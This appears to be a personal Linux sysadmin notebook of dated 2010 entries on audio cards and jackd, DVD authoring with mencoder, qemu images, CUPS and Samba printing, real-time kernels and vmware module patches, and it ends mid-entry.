tom@zni:~$ cu -l ttyUSB1 -s 9600 VxWorks System Boot Copyright 1984-2002 Wind River Systems, Inc. CPU: Toshiba RBTX4927 Version: VxWorks5.5 BSP version: 1.2/0 Creation date: Mar 06 2003, 12:53:57 Press any key to stop auto-boot... 0 auto-booting... boot device : ene unit number : 0 processor number : 0 host name : gibbon file name : /home/ftp/pub/vxworks/tx4927le/vxWorksChrisb inet on ethernet (e) : 192.168.54.5:ffffff00 host inet (h) : 192.168.54.253 gateway inet (g) : 192.168.54.254 user (u) : vxworks ftp password (pw) : vxworks flags (f) : 0x0 target name (tn) : idt-5 Attached TCP/IP interface to ene0. Attaching network interface lo0... done. Loading... Error loading file: errno = 0xd0003. Entry: Setting up jackd with RME9634 Date: Wed Mar 31 14:48:17 CEST 2010 I recently killed my recording PC, now I have no clue as to how to get it back to work. ed:~# cat /proc/asound/cards cat /proc/asound/cards 1 [R15 ]: RME9636 - RME Digi9636 (Rev 1.5) RME Digi9636 (Rev 1.5) at 0x40000000, irq 21 2 [M1010 ]: ICE1712 - M Audio Delta 1010 M Audio Delta 1010 at 0x1080, irq 16 ed:~# jackd -d alsa jackd -d alsa jackd 0.118.0 Copyright 2001-2009 Paul Davis, Stephane Letz, Jack O'Quinn, Torben Hohn and others. jackd comes with ABSOLUTELY NO WARRANTY This is free software, and you are welcome to redistribute it under certain conditions; see the file COPYING for details no message buffer overruns JACK compiled with System V SHM support. loading driver .. creating alsa driver ... hw:0|hw:0|1024|2|48000|0|0|nomon|swmeter|-|32bit control device hw:0 control open "hw:0" (No such file or directory) ALSA lib pcm_hw.c:1401:(_snd_pcm_hw_open) Invalid value for card ALSA lib pcm_hw.c:1401:(_snd_pcm_hw_open) Invalid value for card ALSA: Cannot open PCM device alsa_pcm for playback. Falling back to capture-only mode cannot load driver module alsa ed:/proc/asound/R15# cat rme9652 cat rme9652 RME Digi9636 (Rev 1.5) (Card #2) Buffers: capture ce400000 playback cf600000 IRQ: 21 Registers bus: 0x40000000 VM: 0xd0bfe000 Control register: 4404e Latency: 8192 samples (2 periods of 32768 bytes) Hardware pointer (frames): 0 Passthru: no Clock mode: autosync Pref. sync source: ADAT1 ADAT1 Input source: ADAT1 optical IEC958 input: Coaxial IEC958 output: Coaxial only IEC958 quality: Consumer IEC958 emphasis: off IEC958 Dolby: off IEC958 sample rate: error flag set ADAT Sample rate: 48000Hz ADAT1: Sync ADAT2: No Lock ADAT3: No Lock Timecode signal: no Punch Status: 1: off 2: off 3: off 4: off 5: off 6: off 7: off 8: off 9: off 10: off 11: off 12: off 13: off 14: off 15: off 16: off 17: off 18: off ----- So what does "hw:0" actually mean in alsa? I found this .asoundrc lingering around: tom@zni:~$ cat .asoundrc pcm.ice1712 { type hw card 0 } ctl.ice1712 { type hw card 0 } What about this: /usr/share/alsa There seem to be a bunch of files with card configurations. Dead end. Entry: jackd hammerfall Date: Wed Mar 31 15:09:01 CEST 2010 ed:~# cat /proc/asound/cards cat /proc/asound/cards 1 [R15 ]: RME9636 - RME Digi9636 (Rev 1.5) RME Digi9636 (Rev 1.5) at 0x40000000, irq 21 2 [M1010 ]: ICE1712 - M Audio Delta 1010 M Audio Delta 1010 at 0x1080, irq 16 This means hw:1 is the RME, and hw:2 is the M-Audio. There is no hw:0, which is probably why the default doesn't work. This seems to work: jackd -d alsa -Phw:1 I used this for recording: ecasound -f 16,4,48000 -i jack -o test.wav (EDIT: this didn't work for the RME audio. I ended up using a Roland usb audio card to do the recording off the mixer board's digi out. Coming back to it, I managed to get it to work with the following setup on a 2.6.33 RT kernel; the RME is card0.) tom@ed:~/bin$ cat jackd.ed exec jackd -d alsa -i 18 -o 18 tom@ed:~/bin$ cat pd.ed exec /usr/bin/pd -jack -inchannels 8 -outchannels 8 "$@" Entry: netgear router Date: Mon Apr 5 16:02:02 CEST 2010 dnsmasq-dhcp: DHCPDISCOVER(eth0) 00:09:5b:dc:f3:13 dnsmasq-dhcp: DHCPOFFER(eth0) 10.0.0.126 00:09:5b:dc:f3:13 dnsmasq-dhcp: DHCPREQUEST(eth0) 10.0.0.126 00:09:5b:dc:f3:13 dnsmasq-dhcp: DHCPACK(eth0) 10.0.0.126 00:09:5b:dc:f3:13 WGR614v4 Entry: How much memory is a process using? Date: Mon Apr 5 20:02:52 CEST 2010 RSS: resident set size All resident pages. VSS: virtual set size All mapped memory. Also includes mmapped files. One thing I never understood is how shared memory fits in this picture. Also, when a process forks and memory doesn't get copied if it's not modified, how do we know that? The `pmap' utility gives memory usage per shared library. Entry: Single image Date: Tue Apr 6 19:12:08 CEST 2010 I'd like to complete the idea of having a single image with all software and data I'm likely to ever need, and duplicate it on several machines. What does this need? - standard home directory structure - standard debian install - a way to manage services (installed, but not running) - shared optional packages /usr/local or /opt/whatever - hardware independence. hardware-specific configurations cannot be shared. This suggests some kind of vhost/chroot setup. Entry: Printing to windows Date: Tue Apr 6 21:37:46 CEST 2010 The simplest solution seems to be to install a CUPS printer driver on a linux machine, and have it translate from PostScript to the printer's binary format. On windows, a raw pipe can be opened using the procedure described in [1]. EDIT: Apparently that article has been removed. ( Why do ppl keep breaking links? Progress? ) The old wiki is here[2], and a new page is supposed to be here[3], but that's currently broken. See full text copied below: ----------------------------------------------------------------------- Windows - only one option: Set up the Windows print server. Share the printer: In this example I have a Canon BJ200 printer shared as BJ200. To share a printer do this: Start --> Printers & Faxes --> R-click printer icon --> Sharing --> Share this printer --> Type in your choice for share name. I chose BJ200 for this example. Note there are NO SPACES. Record your NBT server address: You also want the Windows NBT address which you can get from a dos prompt available at Start --> All Programs --> Accessories --> Command Prompt. In the command prompt enter "ipconfig/all". You'll see the IP address for the ethernet adapter, e..g. 192.168.2.4, and the NBT name , e.g. DragaXP in this example. You'll need IP if using fixed addressing or NBT name if using dynamic addressing. Enable Windows support for Unix printing: Open Control Panel --> Add or remove programs --> Add/remove windows components. Scroll down to "Other Network File & Print Services". Highlight that and select "details". Put a check mark in "Print Services for Unix" and OK/Next or whatever. Activate TCPIP print services: Open Control Panel --> Administrative Tools --> Services (Local) and find TCP/IP print server. It should be set to "Status= started" and "Start type=Automatic". To change settings you double Lclick the line "TCP/IP print server" and adjust appropriately. OK, now you have a windows workstation sharing a Windows printer to Linux clients. The next segments show HowTo set up the Linux client to print to this Windows print server, using two alternative network protocols. Linux Option 1:Setting up a Linux client to print using LPD protocol Note in this option the client does NOT use or need Samba The first thing is to set the root uid and password for cups. This is different from the Linux "root user". Open a terminal as superuser and enter the chosen uid/pwd as lppasswd -a username. You then supply a password which must satisfy certain criteria, as you might discover. Finally start cups by entering: /etc/init.d/cups start [or restart]. Here's the terminal session for Suse 10.0, 10.1 which used CUPS V1.1x: ethel@linux:~> su Password: linux:/home/ethel # lppasswd -a ethel Enter password: Enter password again: linux:/home/ethel # /etc/init.d/cups start Starting cupsd done linux:/home/ethel # For Suse 10.2 which uses Cups 1.2 its the same thing EXCEPT some 10.2 users cannot get it to work properly (I'm one) and they have to work as root: enter the root password for cups using this line: linux:/home/ethel # lppasswd -g sys -a root Now you ensure that it starts at boot: In Suse do Yast --> system --> system services --> expert mode --> cups --> checkmark runlevels 2, 3 & 5. Now that you can access cups administration you set up communications with the Windows printer. Open Cups Admin's GUI by entering http:localhost:631/ in your Browser. Then you can perform the following series of steps: * Select Printers and enter password when asked * Add printer * Fill in a Name for the printer (NO SPACES) and optionally a Description and a Location * From the options in the drop-down list of Devices, select LPD/LPR Host or Printer * Fixed IP addressing: Fill in the URI as lpd:Server_IPaddress/Server_queue_name [for example lpd:192.168.2.4/BJ200] * Dynamic IP addressing: Fill in the URI as lpd:Server_NetBIOSname/Server_queue_name [for example lpd:DragaXP/BJ200] * Printer drivers: Select the Maker and the Model from drop-down lists * Select Printers and Print Test Page to check your connectivity to windows You should now be printing from Linux_To_Windows via LPD That's all for the cups/lpd network client on Linux folks. It's really very easy but ONLY if you know how first. Linux Option 2: Setting up a Linux client using Samba's SMB/CIFS Protocol (alternative to LPD) This option is an alternative to the one above which used the LPD protocol via cups network printing. This option uses the SMB protocol via Samba. Check that Samba has been configured for cups printing. The [global] entry will contain at least these lines if it has been configured for cups printing. [global] printing = cups printcap name = cups Open cups admin on http:localhost:631/ and execute these steps: * Open Printers and Add Printer * Enter the printer Name BJ200. This becomes the queuename. You can fill in the optional Location and Description to suit. * In Device type choose Windows Printer via SAMBA from the drop-down list * Fixed IP addressing: In Device URI enter smb:workgroup/username:password@192.168.2.4/BJ200, where "username", "password" and "workgroup" pertain to the server. * Dynamic IP addressing: In Device URI enter smb:workgroup/username:password@DragaXP/BJ200, where "username", "password" and "workgroup" pertain to the server. * Choose the printer driver from the cups database on the final screens * Execute a Print Test Page and you should be printing from Linux_To_Windows via Samba [1] http://en.opensuse.org/Print_to_Windows_printer [2] http://old-en.opensuse.org/Print_to_Windows_printer [3] http://opensuse.swerdna.org/susesambaprint.html Entry: Encoding DVD with mencoder Date: Fri Apr 9 10:37:13 EDT 2010 I did this before a long time ago. See [1][2][3], transcode[4] and vobs2iso[5]. [1] entry://20090102-092559 [2] entry://20080423-113923 [3] entry://20080420-204146 [4] http://zwizwa.be/darcs/pool/bin/transcode [5] http://zwizwa.be/darcs/pool/bin/vobs2iso Entry: Linux Audio Video Editor Date: Sun Apr 11 09:44:26 EDT 2010 I'm going to have another look at cinelerra. It seems at some time in the past it forked into the HWV (herionewarrior) version and the CV (community version). I'm using cinelerra-cv and dependencies from debian-multimedia.org cinelerra-cv_2.1.0~svn20091213-0.5_i386.deb Hmm.. It's too heavy. I need something simpler. Entry: wav + jpeg -> dvd Date: Tue Apr 13 15:12:09 EDT 2010 Creating a movie files with a single image and an audio track. There are several ways to do that; all of them a bit messy. The ffmpeg/mencoder tool combo is quite powerful, put a pain to figure out. * Using mencoder (info from [1]): Use two copies of the same picture. Name them pic1.jpg and pic2.jpg. Then enter the following: mencoder "mf://pic*.jpg" -mf fps=0.1 -ovc x264 -o movie.avi The reason why we are using two frames here is because movie players will treat 1-frame movies different. A 1-frame movie in mplayer will have zero duration, i.e. the player window will close immediately. Since we don't know how Youtube will treat them while transcoding to Flash video format, it's better to use at least 2 frames just to be on the safe side. Adapted from [3], with 2 image files, this also worked: mencoder -ovc lavc -mf fps=.1:type=jpg 'mf://*.jpg' -o test.avi The problem however seems to be to "duplicate" the frames, which I think is necessary for DVD. * Using ImageMagick: convert -delay 10 *.jpg m2v:time_lapse-test.mpg * Using KIPI. The KDE Image Plugin Interface[2] contains command line scrips to create videos from images + allows to add sound tracks. images2mpg -f SVCD -S 420mpeg2 -d 2 -t 2 -w ~/Music/mytune.wav -o car.mpg -i *.jpg * Using ffmpeg: From one of the comments on [3]: use "-loop_input". This worked: ffmpeg -loop_input -f image2 -i img_0156.jpg test.mpg However, when combined with an audio file it doesn't stop. I'm thinking that the easiest way to do this is to just generate a directory full of links to a single jpeg file, based on the length of the wav and the frame rate. [1] http://ubuntuforums.org/archive/index.php/t-573006.html [2] http://www.linux.com/archive/feature/136606 [3] http://www.munz.li/?p=48 Entry: One image + wave Date: Wed Apr 14 10:50:55 EDT 2010 Tools in previous post don't seem to do what I want, so let's hack it. Goal: given a .jpeg and a .wav file, create a DVD with a track that plays the audio, displaying the picture. 1. Prepare the image file such that its aspect ratio is 4:3. The `transcode' script below performs scaling to the correct resolution that incorporates standard DVD aspect rates (non-square pixels). 2. Get the time of the wave file using mplayer: mplayer ../hatc/clock_finished.wav A: 0.9 (00.8) of 179.0 (02:59.0) 1.0% Here it's 179 seconds. Or use `wavinfo' (apt-get install wavbreaker) 3. Create a list of links to a single jpeg file: for i in `seq -w 0 178`; do ln -s ../hatc/img_0156.jpg img$i.jpg; done 4. Use mencoder to bundle the images and the wave file into a single MJPEG avi with raw wave. mencoder -ovc copy -oac copy -mf fps=1:type=jpg 'mf://img*.jpg' \ -audiofile ../hatc/clock_finished.wav -o bundled.avi 5. Transcode that avi using mencoder (see the recode[1] script). Note that the intermediate file has an fps=1, which will be changed in the transcoded step, using the "harddup" option. recode dvd_ntsc bundled.avi out.vob 6. Use dvdauthor to convert the .avi to an image. See the vobs2iso[2] script. vobs2iso out.iso 1.vob 2.vob 7. Use the `burn.dvd' script[3] burn.dvd video out.iso Some remarks. Tracks without audio don't seem to be such a good idea. To create a silent wav: dd if=/dev/zero bs=44100 count=`echo "4 $SECONDS * p" | dc` | lame -r -s 44.1 $IDS - - [1] http://zwizwa.be/darcs/pool/bin/recode [2] http://zwizwa.be/darcs/pool/bin/vobs2iso [3] http://zwizwa.be/darcs/pool/bin/burn.dvd Entry: Writable DVD standards Date: Wed Apr 14 14:08:49 EDT 2010 Apparently the DVD player in the living room doesn't take DVD-R. I've tried DVD+R before. What is the difference? Entry: The Snd sound editor mindset Date: Mon Apr 12 15:21:46 EDT 2010 Some random remarks wrt. to the manual[1] to understand Snd as how it differs to what I expect from other sound editors. It's been a while since I used it. MARKS Snd uses marks. Place a mark at the cursor (the red cross-hairs) using C-m. To play from the mark, click on the triangle corresponding to the mark's red line. To delete a mark: REGIONS Regions are different from the current selection. They are _copies_ of a part of a sound file, and do not change when the underlying sound changes. The selection by default creates a region. The selection can be set using the mouse, or by pressing C-space to set one end, and move the cursor to set the other end. I.e. C-space C-> will select from the current point to the end. EDITING C-w deletes current selection. [1] https://ccrma.stanford.edu/software/snd/snd/snd.html Entry: Ripping and encoding on command line: abcde Date: Sun May 9 13:38:30 EDT 2010 apt-get install abcde id3v2 lame ( lame comes from "deb http://www.debian-multimedia.org stable main" ) abcde -d /dev/hdc -o mp3 Entry: Emacs terminal colors Date: Tue May 11 18:38:20 EDT 2010 I can't get it to work properly with rxvt, but xterm works with TERM=xterm-256color set. The meta key isn't set properly in xterm though. It does seem to work properly for urxvt. To pick a theme use: M-x color-theme-select I like color-theme-charcoal-black color-theme-late-night xrdb -merge <<EOF XTerm*eightBitInput: false XTerm*metaSendsEscape: true EOF Entry: zwizwa debian upgrade problems Date: Fri Jun 18 11:31:39 CEST 2010 Init: wanted emacs23, added squeeze to sources.list Problems: - kernel 2.6.32-5-vserver-686 hangs at boot (agp?) - 26-2 works, but eth1 -> eth0? - problem with window manager scripts Solutions: - booting 26-2 as grub default : udev seems to work - changed eth1 -> eth0 in all configs (bridge, firewall, ppp, network) There are problems with: rxvt: ../../src/xcb_lock.c:33: _XCBUnlockDisplay: Assertion `xcb_get_request_sent(dpy->xcb->connection) == dpy->request' failed. Aborted I'm trying dist-upgrade to squeeze Entry: A unified server Date: Tue Jun 22 18:06:39 CEST 2010 I'd like to concentrate all the services I have running atm into a single image, or a collection of vservers, such that migration, backup and duplication become easier. Custom servers require too much maintenance. Problems: - some things do not run in vserver (i.e. quagga, openvpn, ...) - 32 vs 64 bit with binary software (also intel vs. other arch) - monoculture problems: i.e. do something wrong, take out all servers Services: - low-level network: firewall, routing, dns, dhcp, tftp - squid web cache - email (smtp in/out, pop+imap) - filtering web proxy - file server ftp/www/samba - printer (local + remote forward) I'm a bit worried about the monoculture issues though. Entry: Minidisc optical SPDIF to RME Digi9632 ADAT1 Date: Tue Sep 14 21:20:38 CEST 2010 Using alsamixer it's possible to set SPDIF source to ADAT1. The card has 18 channels: 8 + 8 + 2. The SPDIF is the last 2: 17,18. So, I'm configuring like this: ADAT on ADAT2 Entry: resizing raw disk images Date: Thu Sep 23 16:36:32 CEST 2010 dd if=/dev/zero of=hdd.img seek=N obs=1MB count=0 Where hdd.img is the raw format image that you want to resize and N is the new size that you want the image to be, in megabytes. [1] http://www.gooduser.info/tag/resize-qemu-disk-image Entry: Backing up hosts Date: Thu Sep 23 17:57:46 CEST 2010 Convention: every host has a script /push that can be used to push a backup to a different server. Entry: qemu: bootable linux image from scratch Date: Tue Sep 28 10:12:54 CEST 2010 The key elements are dd, parted and grub. 1. Create the image. We use a 4GB raw disk image, fits on a DVD. zni:/qemu# dd if=/dev/zero of=linux.img seek=4000 obs=1MB count=0 2. Format and mount the partiton Use parted: (parted) mklabel msdos (parted) mkpart primary ext2 0 4000 (parted) mkfs 1 ext2 3. Populate filesystem I use plosetup[1] to create loop devices at the proper offset in the hd image so they can be mounted. Then you can use debootstrap or any old filesystem to populate the partition. zni:/qemu# plosetup linux.img I: plosetup: partition 1 of linux.img will become /dev/loop0... zni:/qemu# losetup /dev/loop0 /dev/loop0: [fe03]:12756230 (/qemu/linux.img), offset 32256 4. Install grub The only remaining part is to install grub in the MBR. Assume there is a /boot/grub dir in the filesystem installed in step 3. See also [2]. Be careful with this as to not mess up your host system! zni:/qemu# grub --device-map=/dev/null grub> device (hd0) linux.img grub> root (hd0,0) grub> setup (hd0) grub> quit ( It's also possible to use the loop devices instead of disk image, but you need to make sure that the loop device mentioned on the first line has an associated partition device i.e. postfixed with "1". ) [1] http://zwizwa.be/darcs/pool/bin/plosetup [2] http://blog.quinthar.com/2008/07/building-1gb-bootable-qemu-image-using.html Entry: bind mount Date: Thu Sep 30 11:31:21 CEST 2010 mount -obind Entry: Scanner won't work as user on debian Date: Sun Oct 24 15:54:57 CEST 2010 I've added my normal user account to the "scanner" and "saned" groups, but xsane doesn't find the scanner. Everything works fine as root. An "strace xsane" revealed this: ioctl(9, USBDEVFS_CONNECTINFO, 0x7fff73649200) = -1 EPERM (Operation not permitted) ioctl(8, USBDEVFS_IOCTL, 0x7fff73649200) = -1 EPERM (Operation not permitted) ... So it seems to be accessing some device that doesn't have its group changed properly by udev. All the devices I in /dev/bus/usb have root:root perms. Improperly setup udev? http://steffenpingel.de/news/archive/2006/mar/04/fixing-permission-for-my-usb-scanner-on-debian/ Reinstalling udev solved the problem. Entry: HL-2030 lpr driver + cupswrapper Date: Sun Oct 24 17:24:51 CEST 2010 [1] http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/download_prn.html#HL-2030 Entry: Cups access problem Date: Sun Oct 24 18:20:18 CEST 2010 Access by ip works, but not by hostname. FIX: cups.conf needs "ServerAlias *" [1] http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=525910 Entry: Printing to CUPS from Windows 7 Starter Date: Mon Oct 25 19:53:03 CEST 2010 Need to enable internet printing. If this is not on, trying to add the printer URL will give a non-descriptive error message. Option [1] didn't work. From [2] it says that "IPC (Internet Printing Client) isn't available at all on Windows 7 Starter". Also see [3]. Pff.. Should have stayed with XP. Seems the only way around is to install a samba wrapper. [1] http://support.microsoft.com/kb/969708 [2] http://social.technet.microsoft.com/Forums/en-US/w7itproui/thread/f5e69f33-29ff-4c86-a7ed-3b066f0b642d [3] http://social.technet.microsoft.com/Forums/en-US/w7itpronetworking/thread/233bb347-43ad-4cf5-82a7-f7d503fe56ae Entry: Don't trust 'cp -u' ! Date: Tue Oct 26 11:02:10 CEST 2010 Since it will write the name and time stamp before the full file is transferred, the destination will be corrupted (truncated) if the cp operation is interrupted. It seems it's better to use rsync, i.e. : rsync --archive --one-file-system /home/ . It will at least not keep the file that was being transferred if it's interrupted. Rsync uses a temporary destination file renames the file after a successful transfer. Entry: udev renames eth0 to eth1 Date: Fri Oct 29 21:47:32 CEST 2010 [1] https://bugs.launchpad.net/ubuntu/+source/udev/+bug/329106 Entry: RME SPDIF from minidisc Date: Sat Oct 30 10:12:16 CEST 2010 1. configure the card with alsamixer: alsamixer -c 1 Input Connector -> Optical Sample Clock Source -> AutoSync 2. verify operation cat /proc/asound/card1/rme96 RME Digi96/8 PST at 0xfd000000, irq 20 (index #2) General settings period size: 8192 bytes Input settings input: optical (2 channels) sample rate: 44100 Hz sample format: 16 bit Output settings output signal: normal playback sample rate: 44100 Hz sample format: 24 bit sample clock source: autosync format: IEC958 (consumer) emphasis: off non-audio (dolby): off Analog output settings monitored ADAT tracks: 1+2 attenuation: 0 dB volume left: 16383 volume right: 16383 3. start ecasound: ecasound -i alsa,hw:1 -o rec.wav 4. using FLAC compression and large bufsize: ecasound -t:4440 -R -b:81960 -B:nonrt -i alsa,hw:1 -o rec.flac # 4440 = 60 * 74 Entry: OOM Date: Sat Oct 30 10:57:04 CEST 2010 Oct 26 20:22:31 zwizwa kernel: [5635920.336725] __ratelimit: 7 messages suppressed Oct 26 20:22:31 zwizwa kernel: [5635920.336735] openvpn invoked oom-killer: gfp_mask=0x1201d2, order=0, oomkilladj=0 Oct 26 20:22:40 zwizwa kernel: [5635920.336743] Pid: 15316, comm: openvpn Not tainted 2.6.26-2-vserver-686 #1 Oct 26 20:22:46 zwizwa kernel: [5635920.336789] [<c01615b4>] oom_kill_process+0x4f/0x19e Oct 26 20:22:56 zwizwa kernel: [5635920.336845] [<c01619f2>] out_of_memory+0x14e/0x17f Oct 26 20:23:03 zwizwa kernel: [5635920.336896] [<c016395c>] __alloc_pages_internal+0x2b8/0x34e Oct 26 20:23:08 zwizwa kernel: [5635920.336952] [<c01639fe>] __alloc_pages+0x7/0x9 Oct 26 20:23:10 zwizwa kernel: [5635920.336961] [<c01653a0>] __do_page_cache_readahead+0x86/0x163 Oct 26 20:23:10 zwizwa kernel: [5635920.337002] [<c01657b7>] do_page_cache_readahead+0x3d/0x4a Oct 26 20:23:10 zwizwa kernel: [5635920.337027] [<c0160e4d>] filemap_fault+0x164/0x35b Oct 26 20:23:10 zwizwa kernel: [5635920.337062] [<c01327ad>] __wake_up_bit+0x29/0x2e Oct 26 20:23:10 zwizwa kernel: [5635920.337085] [<c016a2fe>] __do_fault+0x42/0x35e Oct 26 20:23:10 zwizwa kernel: [5635920.337179] [<c016c6b7>] handle_mm_fault+0x37d/0x864 Oct 26 20:23:10 zwizwa kernel: [5635920.337279] [<c01809e3>] sys_stat64+0x1e/0x23 Oct 26 20:23:10 zwizwa kernel: [5635920.337312] [<c0115bab>] do_page_fault+0x2a3/0x5c0 Oct 26 20:23:10 zwizwa kernel: [5635920.337343] [<c017e3dd>] sys_write+0x3c/0x63 Oct 26 20:23:10 zwizwa kernel: [5635920.337363] [<c0115908>] do_page_fault+0x0/0x5c0 Oct 26 20:23:10 zwizwa kernel: [5635920.337372] [<c02ee582>] error_code+0x72/0x78 Oct 26 20:23:10 zwizwa kernel: [5635920.337412] [<c02e0000>] packet_notifier+0x18/0x133 Oct 26 20:23:10 zwizwa kernel: [5635920.337451] ======================= Oct 26 20:23:10 zwizwa kernel: [5635920.337454] Mem-info: Oct 26 20:23:10 zwizwa kernel: [5635920.337457] DMA per-cpu: Oct 26 20:23:10 zwizwa kernel: [5635920.337460] CPU 0: hi: 0, btch: 1 usd: 0 Oct 26 20:23:10 zwizwa kernel: [5635920.337463] Normal per-cpu: Oct 26 20:23:10 zwizwa kernel: [5635920.337467] CPU 0: hi: 90, btch: 15 usd: 71 Oct 26 20:23:10 zwizwa kernel: [5635920.337473] Active:28017 inactive:27993 dirty:0 writeback:0 unstable:0 Oct 26 20:23:10 zwizwa kernel: [5635920.337475] free:736 slab:3740 mapped:212 pagetables:791 bounce:0 Oct 26 20:23:10 zwizwa kernel: [5635920.337480] DMA free:1076kB min:124kB low:152kB high:184kB active:5528kB inactive:4920kB present:16256kB pages_scanned:87293 all_unreclaimable? no Oct 26 20:23:10 zwizwa kernel: [5635920.337484] lowmem_reserve[]: 0 238 238 238 Oct 26 20:23:10 zwizwa kernel: [5635920.337493] Normal free:1868kB min:1908kB low:2384kB high:2860kB active:106540kB inactive:107052kB present:243776kB pages_scanned:349219 all_unreclaimable? yes Oct 26 20:23:10 zwizwa kernel: [5635920.337497] lowmem_reserve[]: 0 0 0 0 Oct 26 20:23:10 zwizwa kernel: [5635920.337503] DMA: 3*4kB 2*8kB 2*16kB 0*32kB 2*64kB 1*128kB 1*256kB 1*512kB 0*1024kB 0*2048kB 0*4096kB = 1084kB Oct 26 20:23:10 zwizwa kernel: [5635920.337517] Normal: 25*4kB 1*8kB 0*16kB 7*32kB 2*64kB 1*128kB 1*256kB 0*512kB 1*1024kB 0*2048kB 0*4096kB = 1868kB Oct 26 20:23:10 zwizwa kernel: [5635920.337531] 10051 total pagecache pages Oct 26 20:23:10 zwizwa kernel: [5635920.337535] Swap cache: add 18236050, delete 18235999, find 13765784/16103390 Oct 26 20:23:10 zwizwa kernel: [5635920.337538] Free swap = 0kB Oct 26 20:23:10 zwizwa kernel: [5635920.337540] Total swap = 248996kB Oct 26 20:23:10 zwizwa kernel: [5635920.339062] 65520 pages of RAM Oct 26 20:23:10 zwizwa kernel: [5635920.339067] 0 pages of HIGHMEM Oct 26 20:23:10 zwizwa kernel: [5635920.339070] 1516 reserved pages Oct 26 20:23:10 zwizwa kernel: [5635920.339072] 9571 pages shared Oct 26 20:23:10 zwizwa kernel: [5635920.339075] 51 pages swap cached Oct 26 20:23:10 zwizwa kernel: [5635920.339077] 0 pages dirty Oct 26 20:23:10 zwizwa kernel: [5635920.339080] 0 pages writeback Oct 26 20:23:10 zwizwa kernel: [5635920.339082] 212 pages mapped Oct 26 20:23:10 zwizwa kernel: [5635920.339084] 3740 pages slab Oct 26 20:23:10 zwizwa kernel: [5635920.339087] 791 pages pagetables Oct 26 20:33:19 zwizwa -- MARK -- Entry: samba printer driver Date: Sat Oct 30 11:22:55 CEST 2010 Automatic install [1]. I didn't do this: too involved. Use manual driver install: Algemeen (Generic) -> MS Publisher ImageSetter [1] http://www.samba.org/samba/docs/man/Samba-HOWTO-Collection/classicalprinting.html#id2626941 Entry: flv2mp3 Date: Mon Nov 1 18:17:21 CET 2010 make -j3 -f ~/mk/flv2mp3.mk [1] http://zwizwa.be/darcs/pool/bin/flv2wav [2] http://zwizwa.be/darcs/pool/mk/flv2mp3.mk Entry: magnolia netboot Date: Mon Nov 15 08:23:41 EST 2010 - TFTP is really slow (gpxe or the network card maybe?) - PIII -> xeno image doesn't run 3dnow Entry: Pd + jack midi Date: Sat Nov 20 17:23:12 EST 2010 Doesn't seem to be supported. ( Pd bit-rot ? ) Entry: Real-time kernel Date: Sat Nov 20 23:26:08 EST 2010 The last one is 2.6.33.7 This as usual gives trouble with the other non-free drivers. However, it might be necessary to keep those out of the kernel anyway since they are not rt-ified. So I need to start jack without the midi. 2.6.33.7 FGLRX trouble sudo m-a -l 2.6.33.7-rt29 -k /usr/src/linux-headers-2.6.33.7-rt29 a-i fglrx also vmnet trouble Possible solutions: * Get rid of the HD5xxx card and use the HD4xxx card only with the free driver until the HD5xxx is fully supported. * Vmware should be fixable. still getting xruns: alsa_driver_xrun_recovery JackAudioDriver::ProcessAsync: read error, skip cycle Trying now with patch-2.6.31.12-rt21 Works + vmware drivers work. But still that strange jack error. Pd + ALSA works, but some digital distortion on the outputs. http://www.rncbc.org/jack/rtirq-20090920.tar.gz Entry: Digital noise on Delta 1010 outputs Date: Sun Nov 21 00:58:02 EST 2010 Keeping the CPUs busy seems to get rid of this: cat /dev/zero >/dev/null So it's something with the power management. Maybe switch acpi off at boot? This also fixes the jack problem. Got latency down to 96000 kHz, 64 samples, 2 buffers = 0.7 mS That's pretty decent. TODO: - acpi off at boot (EDIT: doesn't make a difference) - remove HD54xx card (use built-in HD4xxx) (EDIT: works) sudo m-a -l 2.6.31.12-rt21 -k /usr/src/linux-headers-2.6.31.12-rt21 a-i fglrx Entry: 01:05.0 VGA compatible controller: ATI Technologies Inc RS880 [Radeon HD 4250] Date: Sun Nov 21 10:40:32 EST 2010 Something wrong with firmware: [ 8.708783] platform radeon_cp.0: firmware: requesting radeon/RS780_pfp.bin [ 8.708783] platform radeon_cp.0: firmware: requesting radeon/RS780_pfp.bin [ 8.760655] platform radeon_cp.0: firmware: requesting radeon/RS780_me.bin [ 8.764327] platform radeon_cp.0: firmware: requesting radeon/R600_rlc.bin [ 8.780239] r600_cp: Failed to load firmware "radeon/R600_rlc.bin" [ 8.780277] [drm:r600_startup] *ERROR* Failed to load firmware! [ 8.780308] radeon 0000:01:05.0: disabling GPU acceleration [ 8.780362] radeon 0000:01:05.0: ffff88019ce1cc00 unpin not necessary [ 8.780364] radeon 0000:01:05.0: ffff88019ce1cc00 unpin not necessary [ 8.780369] [drm] Enabling audio support I can't find this file in the kernel sources, so I wonder how do these blobs get in the kernel in the first place. Are they in the source tree? Runinng "apt-get install firmware-linux-nonfree" fixed the problem. So i'm at 33 with a running GL/XV setup. How does the audio fare here? Works perfectly at 48kHz, 64 frames, 2 blocks (1.3 ms). Neat! Entry: Patching vmware kernel modules for 2.6.33.7-rt21 Date: Sun Nov 21 14:12:02 EST 2010 Untar the vmnet.tar vsock.tar and vmci.tar files in /usr/lib/vmware/modules/source/ then apply the patch below to the following files (they are the same) and re-tar the archives. /usr/lib/vmware/modules/source/vmnet-only/compat_semaphore.h /usr/lib/vmware/modules/source/vsock-only/shared/compat_semaphore.h /usr/lib/vmware/modules/source/vmci-only/include/compat_semaphore.h --- a/shared/compat_semaphore.h +++ b/shared/compat_semaphore.h @@ -38,10 +38,12 @@ * The -rt patchset added the rename between 2.6.29-rt and 2.6.31-rt. */ #ifndef DECLARE_MUTEX - #define DECLARE_MUTEX(_m) DEFINE_SEMAPHORE(_m) + #define DECLARE_MUTEX(_m) DEFINE_SEMAPHORE(_m, 1) #endif #ifndef init_MUTEX - #define init_MUTEX(_m) semaphore_init(_m) + #define init_MUTEX(_m) sema_init(_m, 1) #endif #endif Then recompile the modules using: # vmware-modconfig --console --install-all Entry: Samba trouble Date: Fri Nov 26 10:28:28 EST 2010 Where are the damn logs!! Solution was: smbpasswd -a <username> Entry: cdrecord trouble Date: Fri Nov 26 18:27:39 EST 2010 tom@zoo:/pub$ cat ~/bin/burn.cd.image #!/bin/bash [ -z "$1" ] && echo "usage: `basename $0` <image.iso>" && exit 1 # this uses the scsi system directly DEV=/dev/sr0:1,0,0 #DEV=/dev/dvd exec cdrecord dev=$DEV speed=1 driveropts=burnfree "$@" tom@zoo:/pub$ burn.cd.image debian-506-i386-netinst.iso wodim: No write mode specified. wodim: Asuming -tao mode. wodim: Future versions of wodim may have different 